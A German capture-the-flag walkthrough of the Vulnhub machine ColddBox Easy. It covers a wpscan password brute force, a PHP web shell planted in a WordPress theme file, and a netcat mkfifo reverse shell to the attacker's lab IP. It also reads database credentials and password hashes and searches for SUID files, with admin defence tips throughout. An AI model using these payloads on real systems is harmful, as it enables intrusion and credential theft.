ColddBoxEasy_Easy - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
vi
gobuster
wpscan
nc (netcat)
mysql
find
metasploit (msfconsole)
base64

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Der erste Schritt ist die Identifizierung aktiver Hosts im lokalen Netzwerksegment. `arp-scan` sendet ARP-Anfragen, um herauszufinden, welche IP-Adressen von welchen MAC-Adressen verwendet werden. Das `-l` Flag steht für `--localnet` und weist `arp-scan` an, das gesamte lokale Subnetz zu scannen.

**Bewertung:** Dieser Befehl ist sehr effektiv für die schnelle Host-Entdeckung in lokalen Netzen, da er auf Layer 2 arbeitet und oft weniger auffällig ist als ein Ping-Sweep. Die Ausgabe zeigt die IP-Adresse `192.168.2.119` und die zugehörige MAC-Adresse `08:00:27:5a:df:e2`, die zu `PCS Systemtechnik GmbH` gehört (oft ein Indikator für VirtualBox).

**Empfehlung (Pentester):** Immer `arp-scan -l` oder ähnliche Tools (wie `netdiscover`) zu Beginn in lokalen Netzen verwenden, um Ziele zu identifizieren.
**Empfehlung (Admin):** Netzwerk-Monitoring kann helfen, Scans zu erkennen. Eine klare Inventarisierung von Geräten im Netz ist essenziell.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.119	08:00:27:5a:df:e2	PCS Systemtechnik GmbH

**Analyse:** Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im Texteditor `vi`. Hier wird ein Eintrag hinzugefügt, der den Hostnamen `boxeasy.vln` der gefundenen IP-Adresse `192.168.2.119` zuordnet. Dies erleichtert den Zugriff auf Dienste, die möglicherweise über Hostnamen angesprochen werden müssen (z.B. Webserver mit virtuellen Hosts).

**Bewertung:** Dies ist ein wichtiger vorbereitender Schritt. Ohne diesen Eintrag könnten bestimmte Webanwendungen oder Dienste nicht korrekt über ihren Hostnamen erreicht werden. Es vereinfacht auch die Befehlseingabe und die Lesbarkeit des Berichts.

**Empfehlung (Pentester):** Immer die Hosts-Datei pflegen, wenn Hostnamen relevant sind oder vermutet werden.
**Empfehlung (Admin):** Die Verwendung von DNS ist Standard. Die Analyse von /etc/hosts auf kompromittierten Systemen kann Hinweise auf die Aktivitäten eines Angreifers geben.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
 192.168.2.119    boxeasy.vln

**Analyse:** Dieser `nmap`-Befehl führt einen schnellen Scan durch (`-sS` für SYN-Scan, `-sC` für Standard-Scripts, `-sV` für Versionserkennung, `-T5` für sehr aggressives Timing, `-A` für aggressive Optionen wie OS-Detektion, Version-Detection, Script-Scanning und Traceroute) auf alle Ports (`-p-`) des Ziels `192.168.2.119`. Das `| grep open` filtert die Ausgabe, um nur die Zeilen anzuzeigen, die offene Ports enthalten.

**Bewertung:** Dieser Befehl gibt einen ersten schnellen Überblick über die offenen Ports. Er identifiziert Port 80 (HTTP) und Port 4512 (SSH). Das `-T5` und `-A` kann jedoch auf manchen Systemen oder in sensiblen Netzen zu ungenauen Ergebnissen führen oder IDS/IPS auslösen.

**Empfehlung (Pentester):** Nützlich für einen ersten schnellen Blick. Für genauere Ergebnisse sollte ein vollständiger Scan ohne `-T5` folgen. Die Filterung mit `grep` ist praktisch, aber die vollständige Ausgabe enthält mehr Details.
**Empfehlung (Admin):** Firewall-Regeln sollten nur notwendige Ports freigeben. Intrusion Detection Systeme (IDS) können aggressive Scans wie `-T5` erkennen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.119 -p- | grep open
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
4512/tcp open  ssh     penSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)

**Analyse:** Dies ist ein detaillierterer `nmap`-Scan mit denselben Optionen wie zuvor (`-sS`, `-sC`, `-sV`, `-T5`, `-A`, `-p-`), aber ohne die Filterung durch `grep`. Diesmal wird die vollständige Ausgabe angezeigt.

**Bewertung:** Die Ausgabe bestätigt die offenen Ports 80 (HTTP, Apache 2.4.18 auf Ubuntu) und 4512 (SSH, OpenSSH 7.2p2 auf Ubuntu). Wichtige zusätzliche Informationen werden sichtbar: * Die Website auf Port 80 scheint ein WordPress-Blog (Version 4.1.31) zu sein (`http-generator`). * Der Titel der Seite ist "ColddBox | ne more machine". * Die SSH-Hostkeys werden angezeigt. * Nmap versucht, das Betriebssystem zu erraten (verschiedene Linux-Versionen). * Traceroute zeigt nur einen Hop, was bestätigt, dass das Ziel im lokalen Netzwerk ist.

**Empfehlung (Pentester):** Die vollständige Nmap-Ausgabe ist essenziell. Notiere die spezifischen Versionen (Apache, WordPress, OpenSSH, OS), da diese auf bekannte Schwachstellen hinweisen können. Der SSH-Port 4512 ist ungewöhnlich und sollte notiert werden.
**Empfehlung (Admin):** Halte alle Dienste (Webserver, CMS, SSH, OS) auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. Verwende Standardports nur, wenn nötig, aber Security through Obscurity (abweichender Port) ist kein Ersatz für echte Sicherheitsmaßnahmen. Verhindere das Offenlegen detaillierter Versionsinformationen (z.B. in Server-Headern).

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -sV -T5 -A 192.168.2.119 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-30 16:12 CEST
Nmap scan report for boxeasy.vln (192.168.2.119)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PRT     STATE SERVICE VERSIN
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.1.31
|_http-title: ColddBox | ne more machine
|_http-server-header: Apache/2.4.18 (Ubuntu)
4512/tcp open  ssh     penSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4e:bf:98:c0:9b:c5:36:80:8c:96:e8:96:95:65:97:3b (RSA)
|   256 88:17:f1:a8:44:f7:f8:06:2f:d3:4f:73:32:98:c7:c5 (ECDSA)
|_  256 f2:fc:6c:75:08:20:b1:b2:51:2d:94:d6:94:d7:51:4f (ED25519)
MAC Address: 08:00:27:5A:DF:E2 (racle VirtualBox virtual NIC)
Aggressive S guesses: Linux 3.2 - 4.9 (96%), Linux 3.2.0 (94%), Linux 3.10 - 4.11 (94%), Linux 3.13 (93%), penWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (93%), Linux 4.10 (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Linux 3.2 - 3.10 (93%), Linux 3.2 - 3.16 (93%), Linux 4.2 (93%)
No exact S matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.12 ms boxeasy.vln (192.168.2.119)

Web Enumeration

**Analyse:** `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden (Directory Brute-Forcing). * `dir`: Gibt den Modus für die Verzeichnissuche an. * `-u http://boxeasy.vln`: Die Ziel-URL. * `-x ...`: Eine lange Liste von Dateiendungen, nach denen zusätzlich gesucht werden soll. * `-w "/usr/share/seclists/...medium.txt"`: Die Wortliste, die für die Suche verwendet wird. * `-b '403,404'`: Statuscodes, die ausgeblendet werden sollen (nicht gefundene oder verbotene Seiten). * `-e`: Erweiterter Modus, zeigt die vollständige URL an. * `--no-error`: Blendet Verbindungsfehler aus.

**Bewertung:** Dieser Befehl ist sehr nützlich, um versteckte oder nicht verlinkte Inhalte auf einem Webserver zu entdecken. Die Ergebnisse zeigen typische WordPress-Pfade (`/wp-content`, `/wp-login.php`, `/wp-includes`, `/wp-admin`, `/xmlrpc.php`), aber auch eine Lizenzdatei (`/license.txt`), eine Readme (`/readme.html`) und ein potenziell interessantes Verzeichnis `/hidden`. Der Statuscode 301 bedeutet eine Weiterleitung.

**Empfehlung (Pentester):** Führe immer Directory Brute-Forcing durch. Untersuche gefundene Verzeichnisse und Dateien genauer, insbesondere solche, die nicht zum Standard gehören (wie `/hidden`). Die gefundenen WordPress-Pfade sind Angriffspunkte für spezialisierte Tools wie `wpscan`.
**Empfehlung (Admin):** Beschränke den Zugriff auf unnötige Dateien und Verzeichnisse. Verwende `robots.txt` nicht als Sicherheitsmechanismus, da Tools wie `gobuster` es ignorieren. Implementiere Rate Limiting oder Web Application Firewalls (WAFs), um Brute-Force-Scans zu erschweren.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://boxeasy.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://boxeasy.vln/index.php            (Status: 301) [Size: 0] [--> http://boxeasy.vln/]
http://boxeasy.vln/wp-content           (Status: 301) [Size: 315] [--> http://boxeasy.vln/wp-content/]
http://boxeasy.vln/wp-login.php         (Status: 200) [Size: 2547]
http://boxeasy.vln/license.txt          (Status: 200) [Size: 19930]
http://boxeasy.vln/wp-includes          (Status: 301) [Size: 316] [--> http://boxeasy.vln/wp-includes/]
http://boxeasy.vln/readme.html          (Status: 200) [Size: 7173]
http://boxeasy.vln/wp-trackback.php     (Status: 200) [Size: 135]
http://boxeasy.vln/wp-admin             (Status: 301) [Size: 313] [--> http://boxeasy.vln/wp-admin/]
http://boxeasy.vln/hidden               (Status: 301) [Size: 311] [--> http://boxeasy.vln/hidden/]
http://boxeasy.vln/xmlrpc.php           (Status: 200) [Size: 42]

**Analyse:** Dieser Abschnitt zeigt manuell gefundene Informationen aus Kommentaren auf der Webseite, spezifisch unter `http://boxeasy.vln/?p=1#comment-2`. Es wurden zwei potenzielle Benutzernamen oder Hinweise gefunden: `Sr Hott` und `Coldd`.

**Bewertung:** Kommentare sind oft eine Quelle für Informationslecks, einschließlich Benutzernamen, E-Mail-Adressen oder interner Hinweise. `Coldd` könnte ein relevanter Benutzername sein.

**Empfehlung (Pentester):** Immer den Quellcode von Webseiten und insbesondere Kommentare manuell untersuchen.
**Empfehlung (Admin):** Schulen Sie Benutzer und Entwickler darin, keine sensiblen Informationen in Kommentaren zu hinterlassen. Entfernen oder moderieren Sie Kommentare regelmäßig.

--------------------------------------------------------------------------------------------
http://boxeasy.vln/?p=1#comment-2

Sr Hott
Coldd
--------------------------------------------------------------------------------------------
                    

**Analyse:** `wpscan`, ein spezialisierter WordPress-Scanner, wird verwendet, um Benutzer auf der WordPress-Instanz zu enumerieren. * `--url http://boxeasy.vln/wp-login.php`: Die Ziel-URL (hier spezifisch die Login-Seite). * `-e u`: Enumeriere Benutzer (`u`). * `--api-token ...`: Ein API-Token für die WPScan Vulnerability Database, um Schwachstelleninformationen abzurufen (hier nicht primär genutzt, da nur User enum).

**Bewertung:** Interessanterweise findet dieser erste `wpscan`-Lauf keine Benutzer (`[i] No Users Found.`). Dies könnte daran liegen, dass die spezifische Enumerationsmethode (die WPScan hier standardmäßig wählt oder die auf `/wp-login.php` angewendet wird) nicht erfolgreich war oder keine Benutzer auf diesem Weg exponiert sind.

**Empfehlung (Pentester):** Wenn eine Methode fehlschlägt, andere Enumerationsmethoden von WPScan versuchen (`-e u1-10`, `--enumerate u`). Verschiedene Endpunkte als URL testen (z.B. die Haupt-URL statt nur `wp-login.php`).
**Empfehlung (Admin):** WordPress-Sicherheitsplugins können Benutzer-Enumeration erschweren (z.B. durch Blockieren von Anfragen oder Ändern von Standardverhalten).

┌──(root㉿cyber)-[~]
└─# wpscan --url http://boxeasy.vln/wp-login.php -e u --api-token ....
[i] No Users Found.

[+] WPScan DB API K
 | Plan: free
 | Requests Done (during the scan): 1
 | Requests Remaining: 23

[+] Finished: Fri Jun 30 16:18:47 2023
[+] Requests Done: 71
[+] Cached Requests: 8
[+] Data Sent: 19.127 KB
[+] Data Received: 152.134 KB
[+] Memory used: 116.629 MB
[+] Elapsed time: 00:00:01

**Analyse:** Dieser Text stammt aus der Datei `index.html` im Verzeichnis `/hidden`, das zuvor mit `gobuster` gefunden wurde. Es handelt sich um eine Nachricht von "Philip" an "C0ldd" bezüglich eines geänderten Passworts für "Hugo".

**Bewertung:** Dies ist ein Goldfund! Es enthüllt drei potenzielle Benutzernamen: `C0ldd`, `Hugo` und `Philip`. Diese Information ist extrem wertvoll für nachfolgende Angriffsversuche wie Passwort-Brute-Forcing.

**Empfehlung (Pentester):** Verzeichnisse, die durch Brute-Forcing gefunden wurden, immer genau untersuchen. Solche Nachrichten deuten oft auf mangelnde Sicherheitsrichtlinien hin.
**Empfehlung (Admin):** Keine sensiblen Informationen oder internen Kommunikationen in öffentlich zugänglichen Webverzeichnissen ablegen. Zugriffskontrollen implementieren und regelmäßig auf verwaiste oder unsichere Dateien prüfen.

http://boxeasy.vln/hidden/index.html

U-R-G-E-N-T
C0ldd, you changed Hugo's password, when you can send it to him so he
can continue uploading his articles. Philip
--------------------------------------------------------------------------------------------
                    

**Analyse:** Diese Blöcke zeigen fehlgeschlagene Login-Versuche auf der WordPress-Login-Seite (`wp-login.php`) für die zuvor identifizierten Benutzernamen `philip`, `hugo` und `c0ldd`. Die Fehlermeldung "ERROR: The password you entered for the username [...] is incorrect." bestätigt indirekt, dass die Benutzernamen existieren.

**Bewertung:** Die Fehlermeldungen bestätigen die Existenz der Benutzernamen `philip`, `hugo` und `c0ldd`. Dies ist eine Form der Benutzer-Enumeration durch Login-Fehlermeldungen. Die Nachricht aus `/hidden/index.html` wird hierdurch validiert.

**Empfehlung (Pentester):** Nutze die bestätigten Benutzernamen für Passwort-Angriffe (Brute-Force, Passwort-Spray).
**Empfehlung (Admin):** Konfiguriere WordPress (oder verwende ein Plugin), um generische Fehlermeldungen anzuzeigen, die nicht verraten, ob der Benutzername oder das Passwort falsch war (z.B. "Ungültige Anmeldedaten"). Implementiere Account Lockout Policies und Captchas, um Brute-Force-Angriffe zu erschweren.

http://boxeasy.vln/wp-login.php

ERRR: The password you entered for the
       username philip is incorrect.
       Lost your password?

philip
--------------------------------------------------------------------------------------------

http://boxeasy.vln/wp-login.php

ERRR: The password you entered for the
       username hugo is incorrect.
       Lost your password?

hugo
--------------------------------------------------------------------------------------------
http://boxeasy.vln/wp-login.php

ERRR: The password you entered for the
       username c0lddis incorrect.
       Lost your password?

c0ldd
--------------------------------------------------------------------------------------------
                    

**Analyse:** Ein weiterer `wpscan`-Lauf wird gestartet, diesmal gegen die Haupt-URL (`http://boxeasy.vln`) und wieder mit der Option `-e u` zur Benutzer-Enumeration.

**Bewertung:** Dieser Scan ist erfolgreich und identifiziert vier Benutzer: `the cold in person` (wahrscheinlich ein Anzeigename), `hugo`, `c0ldd` und `philip`. WPScan nutzt verschiedene Methoden (Passiv via RSS, Aggressiv via Author ID Brute-Forcing und Bestätigung durch Login-Fehler), um die Benutzer zu finden. Dies bestätigt die zuvor durch die Nachricht und die Login-Versuche gewonnenen Erkenntnisse.

**Empfehlung (Pentester):** Wenn ein WPScan-Lauf keine Ergebnisse liefert, variiere die Ziel-URL und die Enumerationsmethoden. Die Liste der bestätigten Benutzernamen ist nun die Grundlage für den nächsten Schritt.
**Empfehlung (Admin):** Ergreife Maßnahmen gegen Benutzer-Enumeration, wie oben beschrieben (Plugins, generische Fehlermeldungen).

┌──(root㉿cyber)-[~]
└─# wpscan --url http://boxeasy.vln -e u --api-token ....
[i] User(s) Identified:

[+] the cold in person
 | Found By: Rss Generator (Passive Detection)

[+] hugo
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] c0ldd
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] philip
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] WPScan DB API K
 | Plan: free
 | Requests Done (during the scan): 2
 | Requests Remaining: 21

[+] Finished: Fri Jun 30 16:27:15 2023
[+] Requests Done: 63
[+] Cached Requests: 6
[+] Data Sent: 15.992 KB
[+] Data Received: 282.777 KB
[+] Memory used: 148.953 MB
[+] Elapsed time: 00:00:01

Initial Access

**Analyse:** `wpscan` wird nun für einen Passwort-Brute-Force-Angriff verwendet. * `--url http://boxeasy.vln/wp-login.php`: Ziel ist die Login-Seite. * `--usernames c0ldd`: Der Angriff konzentriert sich auf den Benutzer `c0ldd`. * `--passwords /usr/share/wordlists/rockyou.txt`: Die bekannte Wortliste `rockyou.txt` wird verwendet. * `--api-token ...`: API-Token.

**Bewertung:** Der Angriff ist erfolgreich! WPScan findet eine gültige Kombination: Benutzer `c0ldd` mit dem Passwort `9876543210`. Dies gewährt uns initialen Zugriff auf das WordPress-Backend.

**Empfehlung (Pentester):** Passwort-Brute-Force ist oft erfolgreich gegen schwache Passwörter. Priorisiere Benutzer, die in vorherigen Schritten auffällig wurden (z.B. `c0ldd` aus der Nachricht).
**Empfehlung (Admin):** Erzwinge starke Passwortrichtlinien. Implementiere Account Lockout und Captchas. Verwende keine einfachen oder gebräuchlichen Passwörter. Überwache Login-Versuche.

┌──(root㉿cyber)-[~]
└─# wpscan --url http://boxeasy.vln/wp-login.php --usernames c0ldd --passwords /usr/share/wordlists/rockyou.txt --api-token ....
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0ldd / 9876543210
Trying c0ldd / 9876543210 Time: 00:00:13 <           > (1230 / 14345628)  0.00%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: c0ldd, Password: 9876543210

[+] WPScan DB API K
 | Plan: free
 | Requests Done (during the scan): 0
 | Requests Remaining: 21

[+] Finished: Fri Jun 30 16:28:57 2023
[+] Requests Done: 1371
[+] Cached Requests: 185
[+] Data Sent: 474.129 KB
[+] Data Received: 4.562 MB
[+] Memory used: 254.965 MB
[+] Elapsed time: 00:00:19

**Analyse:** Nach dem erfolgreichen Login als `c0ldd` wird der Theme-Editor von WordPress aufgerufen (`wp-admin/theme-editor.php`). Spezifisch wird die Datei `404.php` des Themes `twentyfourteen` bearbeitet. In diese PHP-Datei wird eine Codezeile eingefügt: `system($_GET['cmd']);`. Diese Zeile nimmt einen Parameter namens `cmd` aus der URL entgegen und führt dessen Inhalt als Systembefehl auf dem Server aus.

**Bewertung:** Dies ist eine klassische Methode, um über einen WordPress-Adminzugang eine Webshell zu erhalten und Remote Code Execution (RCE) zu erlangen. Das Bearbeiten von Theme-Dateien ist oft möglich, wenn die Dateiberechtigungen es zulassen. Die eingefügte Zeile ist eine einfache, aber effektive Backdoor.

**Empfehlung (Pentester):** Prüfe immer, ob Theme- oder Plugin-Dateien direkt im Backend bearbeitet werden können. Dies ist ein schneller Weg zur RCE. Platziere eine Webshell oder einen Command Execution Hook.
**Empfehlung (Admin):** Deaktiviere die Bearbeitung von Theme- und Plugin-Dateien im WordPress-Backend (durch Setzen von `define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Stelle sicher, dass die Webserver-Prozessberechtigungen auf Dateiebene restriktiv sind (kein Schreibzugriff auf PHP-Dateien, wenn möglich).

http://boxeasy.vln/wp-admin/theme-editor.php?file=404.php&theme=twentyfourteen
Edit Themes
Twenty Fourteen: 404 Template (404.php)

Select theme to edit:

 
 // Einfügen der schädlichen Zeile:
 system($ GET['cmd']);
 
 
 
 * The template for displaying 404 pages (Not Found)
 *
 * @package WordPress
 * @subpackage Twenty_Fourteen
 * @since Twenty Fourteen 1.0
  

 ... (restlicher Code der 404.php) ...

[Update File]        File edited successfully.
--------------------------------------------------------------------------------------------
                    

**Analyse:** Die zuvor modifizierte `404.php`-Datei wird nun direkt über ihre URL aufgerufen. An die URL wird der Parameter `?cmd=ls` angehängt. Da die Datei jetzt `system($ GET['cmd']);` enthält, führt der Server den Befehl `ls` aus. Die Ausgabe des `ls`-Befehls (die Dateiliste des Verzeichnisses `/wp-content/themes/twentyfourteen/`) wird im Browser angezeigt.

**Bewertung:** Dies bestätigt, dass die Webshell erfolgreich platziert wurde und funktioniert. Wir haben nun die Fähigkeit zur Remote Code Execution auf dem Server im Kontext des Webserver-Benutzers (wahrscheinlich `www-data`).

**Empfehlung (Pentester):** Teste die Webshell mit einfachen Befehlen (`id`, `pwd`, `ls`). Nutze diese RCE, um eine stabilere Verbindung wie eine Reverse Shell zu etablieren.
**Empfehlung (Admin):** Überwache Dateisystemänderungen (File Integrity Monitoring). Analysiere Webserver-Logs auf verdächtige Anfragen (z.B. URLs mit `cmd=` oder anderen typischen Webshell-Parametern).

http://boxeasy.vln/wp-content/themes/twentyfourteen/404.php?cmd=ls

404.php
archive.php
author.php
category.php
comments.php
content-aside.php
content-audio.php
content-featured-post.php
content-gallery.php
content-image.php
content-link.php
content-none.php
content-page.php
content-quote.php
content-video.php
content.php
css
featured-content.php
footer.php
functions.php
genericons
header.php
image.php
images
inc
index.php
js
languages
page-templates
page.php
rtl.css
screenshot.png
search.php
sidebar-content.php
sidebar-footer.php
sidebar.php
single.php
style.css
tag.php
taxonomy-post_format.php
--------------------------------------------------------------------------------------------
                    

**Analyse:** Auf der Angreifer-Maschine wird ein Netcat-Listener gestartet (`nc -lvnp 5555`), der auf Port 5555 auf eingehende Verbindungen wartet. Anschließend wird über die Webshell (durch Aufrufen der URL mit einem speziell präparierten `cmd`-Parameter) ein Befehl auf dem Zielserver ausgeführt, der eine Reverse Shell zur Angreifer-Maschine (IP `192.168.2.137`, Port `5555`) aufbaut. Der Payload `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.137 5555 >/tmp/f` ist ein gängiger Weg, um eine interaktive Shell über Netcat zu bekommen.

**Bewertung:** Die Reverse Shell ist erfolgreich! Der Netcat-Listener auf der Angreifer-Maschine empfängt eine Verbindung vom Zielserver (`192.168.2.119`). Wir haben nun eine interaktive Shell auf dem Zielsystem im Kontext des Webserver-Benutzers (`$`-Prompt deutet auf einen nicht-privilegierten Benutzer hin).

**Empfehlung (Pentester):** Nutze RCE, um eine Reverse Shell zu bekommen. Dies ist oft stabiler und interaktiver als eine Webshell. Versuche, die Shell zu "upgraden" (z.B. mit Python PTY) für bessere Funktionalität (Tab-Vervollständigung, Job Control).
**Empfehlung (Admin):** Verbiete ausgehende Verbindungen vom Webserver zu beliebigen Zielen (Egress Filtering). Überwache Prozessstarts auf verdächtige Befehle wie `nc`, `bash -i`, `python -c 'import socket...'`.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 5555
listening on [any] 5555 ...
# Payload via Browser/curl an: http://boxeasy.vln/wp-content/themes/twentyfourteen/404.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.2.137%205555%20%3E%2Ftmp%2Ff
connect to [192.168.2.137] from (UNKNWN) [192.168.2.119] 58046
/bin/sh: 0: can't access tty; job control turned off
$

Privilege Escalation (User)

**Analyse:** Innerhalb der Reverse Shell wird der Inhalt der WordPress-Konfigurationsdatei `wp-config.php` ausgelesen. Diese Datei enthält sensible Informationen, darunter die Zugangsdaten zur WordPress-Datenbank.

**Bewertung:** Erfolg! Die Datei enthält den Datenbanknamen (`colddbox`), den Datenbankbenutzer (`c0ldd`) und das dazugehörige Passwort (`cybersecurity`). Diese Zugangsdaten könnten für weitere Systeme oder zur Eskalation von Privilegien wiederverwendet werden.

**Empfehlung (Pentester):** Suche immer nach Konfigurationsdateien von Webanwendungen. Sie enthalten oft Passwörter oder API-Schlüssel. Teste gefundene Zugangsdaten für Datenbank-Logins, SSH oder andere Dienste.
**Empfehlung (Admin):** Beschränke den Lesezugriff auf Konfigurationsdateien so weit wie möglich. Verwende separate, dedizierte Datenbankbenutzer mit minimalen Rechten für jede Anwendung. Speichere Passwörter nicht im Klartext, wenn möglich (obwohl dies bei DB-Verbindungen oft unvermeidbar ist).

www-data@ColddBox-Easy:/var/www/html$ cat wp-config.php
 define('DB_NAME', 'colddbox');

/ MySQL database username
define('DB_USER', 'c0ldd');

/ MySQL database password
define('DB_PASSWRD', 'cybersecurity');

**Analyse:** Mit den zuvor gefundenen Zugangsdaten wird versucht, sich über den MySQL-Client (`mysql`) mit der lokalen Datenbank zu verbinden. Der Benutzer ist `c0ldd` (`-u c0ldd`) und das Passwort (`cybersecurity`) wird nach Aufforderung eingegeben (`-p`).

**Bewertung:** Der Login zur MariaDB-Datenbank (ein Fork von MySQL) ist erfolgreich. Wir haben nun Zugriff auf die Datenbank `colddbox`, die von WordPress genutzt wird.

**Empfehlung (Pentester):** Nutze Datenbankzugriff, um sensible Daten (Benutzer, Passwörter, etc.) auszulesen oder möglicherweise Befehle auszuführen, falls die DB-Rechte dies erlauben (z.B. via UDFs).
**Empfehlung (Admin):** Verwende starke, einzigartige Passwörter für Datenbankkonten. Beschränke den Zugriff auf die Datenbank nur auf notwendige Hosts (z.B. localhost für die Webanwendung). Überwache Datenbank-Logins.

www-data@ColddBox-Easy:/var/www/html$ mysql -u c0ldd -p
Enter password: *************
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 21268
Server version: 10.0.38-MariaDB-0ubuntu0.16.04.1 Ubuntu 16.04

Copyright (c) 2000, 2018, racle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

**Analyse:** Innerhalb der MariaDB-Shell werden folgende Befehle ausgeführt: * `use colddbox;`: Wählt die WordPress-Datenbank `colddbox` aus. * `show tables;`: Listet alle Tabellen in der ausgewählten Datenbank auf. * `select * from wp_users;`: Gibt alle Daten aus der Tabelle `wp_users` aus, die Benutzerinformationen enthält.

**Bewertung:** Die Abfrage der `wp_users`-Tabelle ist besonders interessant. Sie zeigt die Benutzer-IDs, Logins (`c0ldd`, `hugo`, `philip`), E-Mail-Adressen und vor allem die Passwort-Hashes (`user_pass`-Spalte). Diese Hashes sind nicht im Klartext, sondern in einem portablen Format gespeichert, das WordPress verwendet (beginnend mit `$P$B...`).

**Empfehlung (Pentester):** Extrahiere die Passwort-Hashes. Versuche, sie offline mit Tools wie `hashcat` oder `John the Ripper` zu knacken. Selbst wenn das Knacken nicht gelingt, bestätigt es die Benutzerliste.
**Empfehlung (Admin):** Obwohl WordPress die Passwörter hasht, können schwache Passwörter immer noch geknackt werden. Erzwinge starke Passwörter. Schütze den Datenbankzugriff, um das Auslesen der Hashes zu verhindern.

MariaDB [(none)]> use colddbox;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [colddbox]> show tables;
+-----------------------+
| Tables_in_colddbox    |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
11 rows in set (0.00 sec)
MariaDB [colddbox]> select * from wp_users;
+----+------------+------------------------------------+---------------+----------------------+----------+---------------------+---------------------+-------------+--------------------+
| ID | user_login | user_pass                          | user_nicename | user_email           | user_url | user_registered     | user_activation_key | user_status | display_name       |
+----+------------+------------------------------------+---------------+----------------------+----------+---------------------+---------------------+-------------+--------------------+
|  1 | c0ldd      | $P$BJs9aAEh2WaBXC2zFhhoBrDUmN1g0i1 | c0ldd         | c0ldd@localhost.com  |          | 2020-09-24 15:06:57 |                     |           0 | the cold in person |
|  2 | hugo       | $P$B2512D1ABvEkkcFZ5lLilbqYFT1plC/ | hugo          | hugo@localhost.com   |          | 2020-09-24 15:48:13 |                     |           0 | hugo               |
|  4 | philip     | $P$BXZ9bXCbA1JQuaCquuIiY4vyzjK/Y. | philip        | philip@localhost.com |          | 2020-10-19 17:38:25 |                     |           0 | philip             |
+----+------------+------------------------------------+---------------+----------------------+----------+---------------------+---------------------+-------------+--------------------+
3 rows in set (0.00 sec)

**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` wird verwendet, um nach Dateien mit gesetztem SUID-Bit zu suchen. * `find /`: Startet die Suche im Root-Verzeichnis. * `-type f`: Sucht nur nach Dateien. * `-perm -4000`: Sucht nach Dateien, bei denen das SUID-Bit gesetzt ist (erlaubt die Ausführung mit den Rechten des Dateibesitzers, oft `root`). * `-ls`: Gibt detaillierte Informationen zu den gefundenen Dateien im `ls -la`-Format aus. * `2>/dev/null`: Leitet Fehlermeldungen (wie "Permission denied") ins Nichts um, um die Ausgabe sauber zu halten.

**Bewertung:** Die Ausgabe listet eine Reihe von Standard-SUID-Binaries auf (`su`, `ping`, `mount`, `sudo`, `pkexec`, etc.). Auffällig ist hier insbesondere `/usr/bin/find` selbst. Wenn `find` SUID `root` ist, kann dies oft zur Privilege Escalation missbraucht werden, da `find` die Option `-exec` hat, um Befehle auszuführen.

**Empfehlung (Pentester):** Untersuche die Liste der SUID-Dateien sorgfältig. Suche auf GTFOBins oder anderen Ressourcen nach bekannten Privilege Escalation Techniken für jede gefundene SUID-Datei, insbesondere für ungewöhnliche oder solche, die Befehlsausführung erlauben (wie `find`, `vim`, `bash`, etc.). Hier ist `/usr/bin/find` der vielversprechendste Kandidat.
**Empfehlung (Admin):** Überprüfe regelmäßig SUID/SGID-Berechtigungen. Entferne das SUID-Bit von Binaries, wo es nicht zwingend benötigt wird. Sei besonders vorsichtig bei Programmen, die Shell-Zugriff oder beliebige Befehlsausführung ermöglichen.

www-data@ColddBox-Easy:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
   259674     40 -rwsr-xr-x   1 root     root        40128 Mar 26  2019 /bin/su
